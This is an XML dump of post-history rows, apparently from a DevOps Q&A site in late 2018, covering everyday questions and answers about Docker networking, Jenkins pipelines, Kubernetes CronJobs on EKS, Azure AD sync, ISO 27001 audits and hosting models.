  <row Id="17890" PostHistoryTypeId="5" PostId="5605" RevisionGUID="5ef01400-932c-4f7a-a144-7d42a3325287" CreationDate="2018-12-04T19:06:11.247" UserId="739" Comment="copy editing" Text="I have a web app consisting of multiple services (authentication service, database, main web app..), and each of these services can run in container.&#xD;&#xA;Currently, when a customer ask for a demo, I am creating and running new instance of these containers on new open ports.&#xD;&#xA;But, it seems like this is not the right way to do, because each container is just consuming 1 GB RAM of my host machine (currently total 32 GB), even it is not used by anyone.&#xD;&#xA;What is your suggestions and is there any on hand solutions for this scenario? &#xD;&#xA;What should I research to find a solution for my need?&#xD;&#xA;&#xD;&#xA;Edit response to comments: &#xD;&#xA;&#xD;&#xA; - Firstly, it is not a laptop :), It is just a VM on Azure(32GB and 4 CPU),&#xD;&#xA;   actually, yes,  it's like laptop :(&#xD;&#xA; - My customers want to (actually I want) test/evaluate my app without any installation, just filling a demo request form and then I will send them a mail to say &quot;*your main web app is running on http://somehost:someport, you can use it now!*&quot;&#xD;&#xA; - Currently, I can perform the situation mentioned above, and someone who wants to use my app can use it. But it is not efficient.(???)&#xD;&#xA; - You mention swarm/kubernates, So my main question is that; Is solution for my need is should be using swarm? If yes, How? is there an best practice approach you can share with me?&#xD;&#xA;&#xD;&#xA;Now I will search on how to make my own SaaS system:)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17897" PostHistoryTypeId="2" PostId="5617" RevisionGUID="ab96f4e3-65a0-4a61-b4b0-04cb61cbec0a" CreationDate="2018-12-04T22:12:46.583" UserId="11192" Text="I have a issue with email address (username) not sync with AAD and DevOps organisations.&#xD;&#xA;&#xD;&#xA;I had some email addresses in mixed case (upper &amp; lower) in the AAD but made them all lowercase subsequently. But in DevOps organisations it still shows in mixed case. I tried deleting the these users from the DevOps organisation and adding them back, but this still doesn't update. Please someone help with this.&#xD;&#xA;&#xD;&#xA;I use third party application to sync tasks from project online to DevOps but this application needs emails in lower case to sync tasks for each resource&#xD;&#xA;&#xD;&#xA;Cheers, &#xD;&#xA;Ryan" ContentLicense="CC BY-SA 4.0" />
  <row Id="17898" PostHistoryTypeId="1" PostId="5617" RevisionGUID="ab96f4e3-65a0-4a61-b4b0-04cb61cbec0a" CreationDate="2018-12-04T22:12:46.583" UserId="11192" Text="AAD not Sync with Organisation users" ContentLicense="CC BY-SA 4.0" />
  <row Id="17899" PostHistoryTypeId="3" PostId="5617" RevisionGUID="ab96f4e3-65a0-4a61-b4b0-04cb61cbec0a" CreationDate="2018-12-04T22:12:46.583" UserId="11192" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17901" PostHistoryTypeId="2" PostId="5618" RevisionGUID="85212c8f-df24-421c-b52f-df97c1104244" CreationDate="2018-12-05T00:37:28.503" UserId="9012" Text="You should use [Jinja](https://docs.saltstack.com/en/latest/topics/jinja/index.html) to [loop](http://jinja.pocoo.org/docs/2.10/templates/#for) over a list of files and pattern/replacement pairs.&#xD;&#xA;&#xD;&#xA;    {% set files = ['/a/foo.sh', '/b/bar.sh', '/b/baz.sh'] %}&#xD;&#xA;    &#xD;&#xA;    {% for file in files %}&#xD;&#xA;    {% for p, r in [('/aaa/bbb', '/aaa/ccc'), ('/xxx/yyy', '/xxx/zzz')] %}&#xD;&#xA;    replace {{ p }} in {{ file }}:&#xD;&#xA;       file.replace:&#xD;&#xA;          - name: {{ file }}&#xD;&#xA;          - pattern: {{ p }}&#xD;&#xA;          - repl: {{ r }}&#xD;&#xA;    {% endfor %}&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;Keep in mind the identifiers need to be unique, that's why variables in `replace {{ p }} in {{ file }}:` are used." ContentLicense="CC BY-SA 4.0" />
  <row Id="17906" PostHistoryTypeId="2" PostId="5620" RevisionGUID="b97d80a2-42e5-4600-8314-be114a7aadee" CreationDate="2018-12-05T03:43:40.170" UserId="10793" Text="I have configured jenkins parameter deployment job using active choices parameterize plugin. In my dev server section have two servers called, 192.168.94.139, 192.168.94.140&#xD;&#xA;&#xD;&#xA;[![array][1]][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Ble8u.png&#xD;&#xA;&#xD;&#xA;I want to read this array input and deploy to both servers. As an example if I select both servers artifacts should be deployed to both servers. How can I read those inputs to fulfill my requirement. Until this point I wrote an array to read inputs but it prints like this &#xD;&#xA;&#xD;&#xA;&gt; 192.168.94.139,192.168.94.140&#xD;&#xA;&#xD;&#xA;    my_array=($SERVER_SELECTION)&#xD;&#xA;    for i in ${my_array[@]} &#xD;&#xA;    do &#xD;&#xA;    &#xD;&#xA;       echo $my_array&#xD;&#xA;           &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17907" PostHistoryTypeId="1" PostId="5620" RevisionGUID="b97d80a2-42e5-4600-8314-be114a7aadee" CreationDate="2018-12-05T03:43:40.170" UserId="10793" Text="How to read array and loop server selection and deployment" ContentLicense="CC BY-SA 4.0" />
  <row Id="17908" PostHistoryTypeId="3" PostId="5620" RevisionGUID="b97d80a2-42e5-4600-8314-be114a7aadee" CreationDate="2018-12-05T03:43:40.170" UserId="10793" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;shell-script&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17917" PostHistoryTypeId="2" PostId="5622" RevisionGUID="3d5a8339-86d9-43b7-b279-785c66c8b8a7" CreationDate="2018-12-05T10:33:45.087" UserId="707" Text="Correct me if I am wrong, ISO 27001 addresses mostly organizational and operational aspects. This sounds a little bit abstract and regulatory.&#xD;&#xA;&#xD;&#xA;On the other hand, in DevOps, if you wish DevSecOps, there is proactive and very specific demand for processes and tools to ensure that no vulnerabilities are delivered to customer. &#xD;&#xA;&#xD;&#xA;How does these two domains fit together? &#xD;&#xA;&#xD;&#xA;Do security auditors ask actually in a security audit questions like,&#xD;&#xA;&#xD;&#xA;* &quot;Have you checked your API for OWASP breaches? &#xD;&#xA;* Do you scan your Docker images? &#xD;&#xA;* Do you have a vulnerability scan as part of your component dependency management&quot;?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17918" PostHistoryTypeId="1" PostId="5622" RevisionGUID="3d5a8339-86d9-43b7-b279-785c66c8b8a7" CreationDate="2018-12-05T10:33:45.087" UserId="707" Text="Context of DevOps in ISO 27001 security audits" ContentLicense="CC BY-SA 4.0" />
  <row Id="17919" PostHistoryTypeId="3" PostId="5622" RevisionGUID="3d5a8339-86d9-43b7-b279-785c66c8b8a7" CreationDate="2018-12-05T10:33:45.087" UserId="707" Text="&lt;security&gt;&lt;audit&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17920" PostHistoryTypeId="5" PostId="5622" RevisionGUID="f95fb445-9f38-4ccd-9994-b40db0469768" CreationDate="2018-12-05T10:53:02.280" UserId="707" Comment="added 46 characters in body" Text="Correct me if I am wrong, ISO 27001 addresses mostly organizational and operational aspects. This sounds a little bit abstract and regulatory.&#xD;&#xA;&#xD;&#xA;On the other hand, in DevOps, if you wish DevSecOps, there is proactive and very specific demand for processes and tools to ensure that no vulnerabilities are delivered to customer. &#xD;&#xA;&#xD;&#xA;How does these two domains fit together? &#xD;&#xA;&#xD;&#xA;Do security auditors ask actually in a security audit questions like,&#xD;&#xA;&#xD;&#xA;* &quot;Do you have a vulnerability scan as part of your component dependency management?&#xD;&#xA;* Have you checked your API for OWASP breaches? &#xD;&#xA;* Do you scan your Docker images, being aware of risks connected to base images?&quot;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17921" PostHistoryTypeId="5" PostId="5622" RevisionGUID="66bc9852-91ac-46a2-998a-519e4ada4aed" CreationDate="2018-12-05T11:02:03.510" UserId="707" Comment="deleted 2 characters in body" Text="Correct me if I am wrong, ISO 27001 addresses mostly organizational and operational aspects. This sounds a little bit abstract and regulatory.&#xD;&#xA;&#xD;&#xA;On the other hand, in DevOps, if you wish DevSecOps, there is proactive and very specific demand for processes and tools to ensure that no vulnerabilities are delivered to customer. &#xD;&#xA;&#xD;&#xA;How do these two domains fit together? &#xD;&#xA;&#xD;&#xA;Do security auditors ask actually in a security audit questions like,&#xD;&#xA;&#xD;&#xA;* &quot;Do you have a vulnerability scan as part of your component dependency management?&#xD;&#xA;* Have you checked your API for OWASP breaches? &#xD;&#xA;* Do you scan your Docker images, being aware of risks connected to base images?&quot;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17922" PostHistoryTypeId="2" PostId="5623" RevisionGUID="9cea50f3-c8ab-4024-a8a1-64c7603a9dce" CreationDate="2018-12-05T11:16:40.420" UserId="397" Text="In my experience auditors tend to follow a [Top-down Risk Assessment][1] process whereby they review the **inherent risk** to business and IT for a company or system, then look at the **controls** that company has in place to mitigate the inherent risk and the **residual risk** that remains.&#xD;&#xA;&#xD;&#xA;A top-down risk assessment opposes the way most technical people work, in that we look at specific vulnerabilities, defects and design flaws and then work up from there in a more bottom-up approach.&#xD;&#xA;&#xD;&#xA;There is nothing inherently wrong with either approach they both have a place in any given company, so in answer to your questions:&#xD;&#xA;&#xD;&#xA; - Auditors do not tend to ask domain-specific questions such as *Have you checked your API for OWASP breaches*; they do tend to ask questions such as *What controls are in place to mitigate the risk of data loss due to software vulnerabilities?*&#xD;&#xA;&#xD;&#xA; - The thing to realise about ISO 27001, and most standards, is that they are not prescriptive - they are designed to provide a standard business language to enable communication between Business/IT and Auditors.  More often than not &quot;implementing&quot; any standard is about identifying the **existing processes** that meet the requirements of the standard and documenting them, then looking for any gaps or flaws and plugging the holes.&#xD;&#xA;&#xD;&#xA;The same logic goes for ISO 9000, ITIL, COBIT, COSO, etc. it's very rarely about enforcing some pre-defined process. Instead, it is a case of [creating a mapping][2] between what the auditor is looking for and what the business is doing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/SOX_404_top%E2%80%93down_risk_assessment&#xD;&#xA;  [2]: https://www.devopsgroup.com/2018/04/10/journey-iso27001-importance-devopsguys/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17923" PostHistoryTypeId="5" PostId="5552" RevisionGUID="4fec15d2-3fb2-4bfe-8c3d-a54e03e9d432" CreationDate="2018-12-05T16:34:05.890" UserId="11068" Comment="added 2 characters in body" Text="Two containers are created with this `Dockerfile`:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:18.04&#xD;&#xA;    &#xD;&#xA;    RUN apt update &amp;&amp; apt upgrade -y &amp;&amp; apt install -y vim iputils-ping net-tools tcpdump iproute* iptables traceroute&#xD;&#xA;&#xD;&#xA;The were created with the following commands in a `Ubuntu 18.04` machine:&#xD;&#xA;&#xD;&#xA;    sudo docker network create --internal --subnet=192.168.2.0/24 netR&#xD;&#xA;    &#xD;&#xA;    sudo docker network create --internal --subnet=172.16.1.0/24 netB1&#xD;&#xA;    &#xD;&#xA;    sudo docker run --name R1_ipsec --hostname R1 --privileged --cap-add=NET_ADMIN --net netR --ip=&quot;192.168.2.100&quot; -dit image1&#xD;&#xA;    sudo docker run --name R2_ipsec --hostname R2 --privileged --cap-add=NET_ADMIN --net netR --ip=&quot;192.168.2.200&quot; -dit image1&#xD;&#xA;    &#xD;&#xA;    sudo docker network connect --ip=&quot;172.16.1.254&quot; netR R1&#xD;&#xA;    &#xD;&#xA;    sudo docker run --name PC1_ipsec --hostname PC1_ipsec --privileged --cap-add=NET_ADMIN --net netB1 --ip=&quot;172.16.1.2&quot; -dit image1&#xD;&#xA;    &#xD;&#xA;    sudo docker exec PC1 route delete default gw 172.16.1.1&#xD;&#xA;    &#xD;&#xA;    sudo docker exec PC1 route add default gw 172.16.1.254 dev eth0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The problem: `PC1` can't ping the `R1`'s interface `192.168.1.100`, even if `R1` have `net.ipv4.ip_forward = 1`&#xD;&#xA;&#xD;&#xA;Doker version: `Docker version 18.06.1-ce, build e68fc7a`" ContentLicense="CC BY-SA 4.0" />
  <row Id="17924" PostHistoryTypeId="2" PostId="5624" RevisionGUID="fc2208f3-ff71-4845-af50-3f01de349788" CreationDate="2018-12-05T18:00:37.080" UserId="11205" Text="I'm just starting to get my toes wet with Jenkins and CI/CD and am trying to drag company culture along with it. &#xD;&#xA;&#xD;&#xA;I've built a set of static analysis tools and corresponding configurations I want to run before a branch's Jenkinsfile is even considered. I want to take that out of the control of the git repo itself because I've been given the task of shifting company culture and improving code quality, but if left up to individual repos, there's a good chance the maintainer of the repo will just remove analysis steps that are failing their build. I want to take that power away from them until culture has shifted enough to begin to release that control.&#xD;&#xA;&#xD;&#xA;Is there a way to have Jenkins run a set of steps that &quot;parent&quot; the Jenkinsfile such that if there parent steps fail, the Jenkinsfile is never run?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17925" PostHistoryTypeId="1" PostId="5624" RevisionGUID="fc2208f3-ff71-4845-af50-3f01de349788" CreationDate="2018-12-05T18:00:37.080" UserId="11205" Text="Jenkins Pipeline steps that run before Jenkinsfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="17926" PostHistoryTypeId="3" PostId="5624" RevisionGUID="fc2208f3-ff71-4845-af50-3f01de349788" CreationDate="2018-12-05T18:00:37.080" UserId="11205" Text="&lt;jenkins&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17927" PostHistoryTypeId="5" PostId="5624" RevisionGUID="b11d3edb-be20-4f41-b569-c7a8b668a611" CreationDate="2018-12-05T19:46:07.663" UserId="11205" Comment="deleted 319 characters in body" Text="I'm just starting to get my toes wet with Jenkins and CI/CD.&#xD;&#xA;&#xD;&#xA;I've built a set of static analysis tools and corresponding configurations I want to run before a branch's Jenkinsfile is even considered. I want to have Jenkins run these tools across every branch regardless of what the Jenkinsfile on the branch says. I want to make sure that the static analysis is out of the purview of the repo. How can I build a set of steps that are run before the Jenkinsfile on the branch is considered? " ContentLicense="CC BY-SA 4.0" />
  <row Id="17928" PostHistoryTypeId="2" PostId="5625" RevisionGUID="7d4d540f-2e2f-454c-9865-79febdb75612" CreationDate="2018-12-05T19:49:12.857" UserId="11208" Text="I have an Amazon EKS Kubernetes cluster and have the need to run a CronJob on it.&#xD;&#xA;However, when I published the manifest to k8s, the object is there, I can list it, get it, but I cannot describe it and see its events. Also, it doesn't seem to start at all. According to my cron pattern, it should have started on the first hour.&#xD;&#xA;&#xD;&#xA;What I have done so far:&#xD;&#xA;&#xD;&#xA;I have created the manifest for the CronJob:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: batch/v1beta1&#xD;&#xA;kind: CronJob&#xD;&#xA;metadata:&#xD;&#xA;  name: aws-ecr-token&#xD;&#xA;  namespace: default&#xD;&#xA;  labels:&#xD;&#xA;    app: aws-ecr-token&#xD;&#xA;    component: infrastructure&#xD;&#xA;spec:&#xD;&#xA;  schedule: &quot;* */11 * * *&quot;&#xD;&#xA;  jobTemplate:&#xD;&#xA;    metadata:&#xD;&#xA;      name: aws-ecr-token&#xD;&#xA;      namespace: default&#xD;&#xA;      labels:&#xD;&#xA;        app: aws-ecr-token&#xD;&#xA;        component: infrastructure&#xD;&#xA;    spec:&#xD;&#xA;      completions: 1&#xD;&#xA;      backoffLimit: 3&#xD;&#xA;      activeDeadlineSeconds: 60&#xD;&#xA;      parallelism: 1&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          name: aws-ecr-token&#xD;&#xA;          namespace: default&#xD;&#xA;          labels:&#xD;&#xA;            app: aws-ecr-token&#xD;&#xA;            component: infrastructure&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;          - name: aws-ecr-token&#xD;&#xA;            image: docker pull mesosphere/aws-cli&#xD;&#xA;            command:&#xD;&#xA;            - &quot;sh&quot;&#xD;&#xA;            - &quot;-c&quot;&#xD;&#xA;            - &quot;$(aws ecr get-login --no-include-email)&quot;&#xD;&#xA;            env:&#xD;&#xA;            - name: AWS_ACCESS_KEY_ID&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: aws-ecr&#xD;&#xA;                  key: accessKey&#xD;&#xA;            - name: AWS_SECRET_ACCESS_KEY&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: aws-ecr&#xD;&#xA;                  key: secretKey&#xD;&#xA;            - name: AWS_DEFAULT_REGION&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: aws-ecr&#xD;&#xA;                  key: defaultRegion&#xD;&#xA;            volumeMounts:&#xD;&#xA;            - name: aws-ecr-config&#xD;&#xA;              mountPath: /root/.docker&#xD;&#xA;          restartPolicy: OnFailure&#xD;&#xA;          volumes:&#xD;&#xA;          - name: aws-ecr-config&#xD;&#xA;            secret:&#xD;&#xA;              secretName: aws-ecr-config&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Published it using:&#xD;&#xA;&#xD;&#xA;`$ kubectl apply -f aws-ecr-token-cron-job.yaml`&#xD;&#xA;&#xD;&#xA;I can get it:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ kubectl get cronjobs&#xD;&#xA;NAME            SCHEDULE      SUSPEND   ACTIVE    LAST SCHEDULE   AGE&#xD;&#xA;aws-ecr-token   * */11 * * *   False     0         &lt;none&gt;          26m&#xD;&#xA;```&#xD;&#xA;But it never gets scheduled.&#xD;&#xA;&#xD;&#xA;When I try to describe it, it shows:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ kubectl describe cronjobs&#xD;&#xA;Error from server (NotFound): the server could not find the requested resource&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Any ideas why?&#xD;&#xA;&#xD;&#xA;My version is:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ kubectl version&#xD;&#xA;Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;10&quot;, GitVersion:&quot;v1.10.0&quot;, GitCommit:&quot;fc32d2f3698e36b93322a3465f63a14e9f0eaead&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2018-03-26T16:55:54Z&quot;, GoVersion:&quot;go1.9.3&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;Server Version: version.Info{Major:&quot;1&quot;, Minor:&quot;10+&quot;, GitVersion:&quot;v1.10.11-eks&quot;, GitCommit:&quot;6bf27214b7e3e1e47dce27dcbd73ee1b27adadd0&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2018-12-04T13:33:10Z&quot;, GoVersion:&quot;go1.9.3&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Thanks in advance :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="17929" PostHistoryTypeId="1" PostId="5625" RevisionGUID="7d4d540f-2e2f-454c-9865-79febdb75612" CreationDate="2018-12-05T19:49:12.857" UserId="11208" Text="AWS EKS CronJob resource not found" ContentLicense="CC BY-SA 4.0" />
  <row Id="17930" PostHistoryTypeId="3" PostId="5625" RevisionGUID="7d4d540f-2e2f-454c-9865-79febdb75612" CreationDate="2018-12-05T19:49:12.857" UserId="11208" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17931" PostHistoryTypeId="2" PostId="5626" RevisionGUID="ad67862a-5702-418c-ae26-a01d4bab920a" CreationDate="2018-12-05T20:39:06.543" UserId="11209" Text="A VPS service provides you with infrastructure in the form of private virtual machines. You have access to these VMs as if they were regular servers (e.g. via SSH). The infrastructure itself is the product. The VMs almost always run on shared hardware.&#xD;&#xA;&#xD;&#xA;A &quot;shared hosting&quot; service provides you with an application environment. You may or may not have access to the underlying infrastructure; the infrastructure exists but the application platform is the product. The environment almost always runs on shared hardware.&#xD;&#xA;&#xD;&#xA;You're correct that both VPS and &quot;shared hosting&quot; providers use shared resources for their service, but &quot;shared hosting&quot; providers only provide infrastructure insofar as it is required for the application to function.&#xD;&#xA;&#xD;&#xA;For that reason &quot;shared hosting&quot; environments are usually categorized as PaaS. VPS services are IaaS, but many providers also offer PaaS products." ContentLicense="CC BY-SA 4.0" />
  <row Id="17932" PostHistoryTypeId="2" PostId="5627" RevisionGUID="1d9e2234-e3e1-4e42-be8a-721a31252f3e" CreationDate="2018-12-05T20:49:59.007" UserId="11209" Text="PID 1 is a special PID which will ignore certain signals unless handlers are explicitly created. Docker has some documentation on this:&#xD;&#xA;&#xD;&#xA;&gt; Note: A process running as PID 1 inside a container is treated specially by Linux: it ignores any signal with the default action. So, the process will not terminate on SIGINT or SIGTERM unless it is coded to do so.&#xD;&#xA;&#xD;&#xA;From here: https://docs.docker.com/engine/reference/run/#foreground&#xD;&#xA;&#xD;&#xA;To kill PID 1 you will have to explicitly declare the handler for the SIGTERM signal." ContentLicense="CC BY-SA 4.0" />
  <row Id="17933" PostHistoryTypeId="5" PostId="5627" RevisionGUID="2d65df3b-1391-4a19-b31f-7a43f74faf63" CreationDate="2018-12-05T20:58:45.393" UserId="11209" Comment="added 154 characters in body" Text="PID 1 is a special PID which will ignore certain signals unless handlers are explicitly created. Docker has some documentation on this:&#xD;&#xA;&#xD;&#xA;&gt; Note: A process running as PID 1 inside a container is treated specially by Linux: it ignores any signal with the default action. So, the process will not terminate on SIGINT or SIGTERM unless it is coded to do so.&#xD;&#xA;&#xD;&#xA;From here: https://docs.docker.com/engine/reference/run/#foreground&#xD;&#xA;&#xD;&#xA;To kill PID 1 you will have to explicitly declare the handler for the SIGTERM signal or, in current versions of Docker, pass the `--init` flag in the `docker run` command to instrument [tini][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/krallin/tini" ContentLicense="CC BY-SA 4.0" />
  <row Id="17934" PostHistoryTypeId="12" PostId="5599" RevisionGUID="292f5c29-1570-4c92-b26c-fb893b67aa06" CreationDate="2018-12-06T01:14:52.220" UserDisplayName="user5176" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:5176,&quot;DisplayName&quot;:&quot;JohnDoea&quot;}]}" />
  <row Id="17935" PostHistoryTypeId="13" PostId="5599" RevisionGUID="56579d69-ba75-462b-ad3b-64def5a00869" CreationDate="2018-12-06T01:15:20.333" UserDisplayName="user5176" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:5176,&quot;DisplayName&quot;:&quot;JohnDoea&quot;}]}" />
  <row Id="17936" PostHistoryTypeId="5" PostId="5599" RevisionGUID="8c830546-a01e-4d93-a93f-d798cf396c0c" CreationDate="2018-12-06T01:24:16.377" UserDisplayName="user5176" Comment="added 76 characters in body" Text="Usually, Only a VPS hosting can be either.&#xD;&#xA;&#xD;&#xA;While an IaaS is always VPS, what's commonly called &quot;shared hosting plan&quot; is PaaS in which a client shares the same hardware **and webserver** software with different customers (due to sharing a webserver, it's not a VPS --- Virtual **Private** Server).&#xD;&#xA;&#xD;&#xA;In a PaaS (of the subtype Pass;VPS) only the hardware is shared (so it's indeed a &quot;shared server&quot;, but only in that sense)." ContentLicense="CC BY-SA 4.0" />
  <row Id="17938" PostHistoryTypeId="2" PostId="5628" RevisionGUID="a8aa7b16-09fd-4643-9e95-bebee2824067" CreationDate="2018-12-06T08:31:48.553" UserId="11219" Text="I was able to get around this issue in a bit of a dodgy way by changing the command to:&#xD;&#xA;&#xD;&#xA;    /bin/bash -c &quot;your-command-here | { ! grep '^'; }&quot;&#xD;&#xA;&#xD;&#xA;This pipes the output through `grep` and fails if there is any output at all, but `grep` still passes it through so you still get to see the output in Rundeck upon failure.&#xD;&#xA;&#xD;&#xA;One drawback is that I believe you lose any blank lines but we don't output any so no big deal for us, and it will tide us over until we can update the app to terminate with a proper exit code." ContentLicense="CC BY-SA 4.0" />
  <row Id="17942" PostHistoryTypeId="2" PostId="5629" RevisionGUID="39d7961a-052f-4536-8e18-4d8c6b305491" CreationDate="2018-12-06T10:34:52.500" UserDisplayName="user5176" Text="Is there a 5$-30$ IaaS that supports ArchLinux? (the only [rolling-release][1] distro I know of);&#xD;&#xA;&#xD;&#xA;The reason I'd like that is because I consider a rolling-rlease OS like upon non rolling ones or at least upon a **rolling-combo** such as a *rolling Win10 + Vagrant + rolling-Ubuntu*) and ArchLinux seems to me to be the most communal and documented one out there.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;I once asked DigitalOcean if they offer any IaaS VPSs (&quot;droplets&quot;) with ArchLInux but a staff member told me they had that option and removed for technical conflicts with their system and services.&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Rolling_release" ContentLicense="CC BY-SA 4.0" />
  <row Id="17943" PostHistoryTypeId="1" PostId="5629" RevisionGUID="39d7961a-052f-4536-8e18-4d8c6b305491" CreationDate="2018-12-06T10:34:52.500" UserDisplayName="user5176" Text="Is there a 5$-30$ IaaS that supports ArchLinux?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17944" PostHistoryTypeId="3" PostId="5629" RevisionGUID="39d7961a-052f-4536-8e18-4d8c6b305491" CreationDate="2018-12-06T10:34:52.500" UserDisplayName="user5176" Text="&lt;architecture&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17945" PostHistoryTypeId="5" PostId="5629" RevisionGUID="d47df369-0552-4ac7-b6b7-8a3313bdf31c" CreationDate="2018-12-06T10:40:10.060" UserDisplayName="user5176" Comment="deleted 11 characters in body" Text="Is there a 5$-30$ IaaS that supports ArchLinux? (the only [rolling-release][1] distro I know of);&#xD;&#xA;&#xD;&#xA;The reason I'd like that is because I consider a rolling-rlease OS like upon non rolling ones or at least upon a **rolling-combo** such as a *rolling Win10 + Vagrant + rolling-Ubuntu*) and ArchLinux seems to me to be the most communal and documented one out there.&#xD;&#xA;&#xD;&#xA;I once asked DigitalOcean if they offer any IaaS VPSs (&quot;droplets&quot;) with ArchLInux but a staff member told me they had that option and removed for technical conflicts with their system and services.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Rolling_release" ContentLicense="CC BY-SA 4.0" />
  <row Id="17946" PostHistoryTypeId="5" PostId="5629" RevisionGUID="592b02f0-2d90-43bf-a36b-903c42aa6acd" CreationDate="2018-12-06T10:50:26.747" UserDisplayName="user5176" Comment="added 33 characters in body; edited title" Text="Is there a 5$-30$ IaaS that supports some [rolling-release][1] distro?&#xD;&#xA;&#xD;&#xA;I consider a rolling-rlease OS (like ArchLinux) upon non rolling ones or at least upon a **rolling-combo** such as a *rolling Win10 + Vagrant + rolling-Ubuntu*) to save resources (both hardware and money).&#xD;&#xA;&#xD;&#xA;ArchLinux seems to me to be the most communal and documented one out there but I might be wrong in that assumption.&#xD;&#xA;&#xD;&#xA;I once asked DigitalOcean if they offer any IaaS VPSs (&quot;droplets&quot;) with ArchLInux but a staff member told me they had that option and removed for technical conflicts with their system and services.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Rolling_release" ContentLicense="CC BY-SA 4.0" />
  <row Id="17947" PostHistoryTypeId="4" PostId="5629" RevisionGUID="592b02f0-2d90-43bf-a36b-903c42aa6acd" CreationDate="2018-12-06T10:50:26.747" UserDisplayName="user5176" Comment="added 33 characters in body; edited title" Text="Is there a 5$-30$ IaaS that supports some rolling-release distro?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17948" PostHistoryTypeId="5" PostId="5617" RevisionGUID="3db215d0-894a-4b33-ae25-9037f0635ba0" CreationDate="2018-12-06T11:01:55.440" UserId="6375" Comment="Modify the content" Text="I have a issue with email address (username) not sync with AAD and DevOps organisations.&#xD;&#xA;&#xD;&#xA;I had some email addresses in mixed case (upper &amp; lower) in the AAD but made them all lowercase subsequently, but in DevOps organisations it still shows in mixed case. I tried deleting the these users from the DevOps organisation and adding them back, but this still doesn't update.&#xD;&#xA;&#xD;&#xA;I use third party application to sync tasks from project online to DevOps but this application needs emails in lower case to sync tasks for each resource." ContentLicense="CC BY-SA 4.0" />
  <row Id="17949" PostHistoryTypeId="4" PostId="5617" RevisionGUID="3db215d0-894a-4b33-ae25-9037f0635ba0" CreationDate="2018-12-06T11:01:55.440" UserId="6375" Comment="Modify the content" Text="Why AAD not Sync with Organisation users?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17950" PostHistoryTypeId="24" PostId="5617" RevisionGUID="3db215d0-894a-4b33-ae25-9037f0635ba0" CreationDate="2018-12-06T11:01:55.440" Comment="Proposed by 6375 approved by -1 edit id of 876" ContentLicense="CC BY-SA 4.0" />
  <row Id="17951" PostHistoryTypeId="5" PostId="5617" RevisionGUID="0a467cc1-2fc0-4132-b4c3-cd21ba83f747" CreationDate="2018-12-06T11:01:55.440" UserId="40" Comment="added 5 characters in body; edited title" Text="I have an issue with email addresses (username) not sync-ing with AAD and DevOps organisations.&#xD;&#xA;&#xD;&#xA;I had some email addresses in mixed case (upper &amp; lower) in the AAD, but made them all lowercase subsequently. But in DevOps organisations they still show in mixed case. I tried deleting these users from the DevOps organisation and adding them back, but this still doesn't update.&#xD;&#xA;&#xD;&#xA;I use third party application to sync tasks from project online to DevOps but this application needs emails in lower case to sync tasks for each resource." ContentLicense="CC BY-SA 4.0" />
  <row Id="17952" PostHistoryTypeId="4" PostId="5617" RevisionGUID="0a467cc1-2fc0-4132-b4c3-cd21ba83f747" CreationDate="2018-12-06T11:01:55.440" UserId="40" Comment="added 5 characters in body; edited title" Text="Why does AAD not Sync with Organisation users?" ContentLicense="CC BY-SA 4.0" />
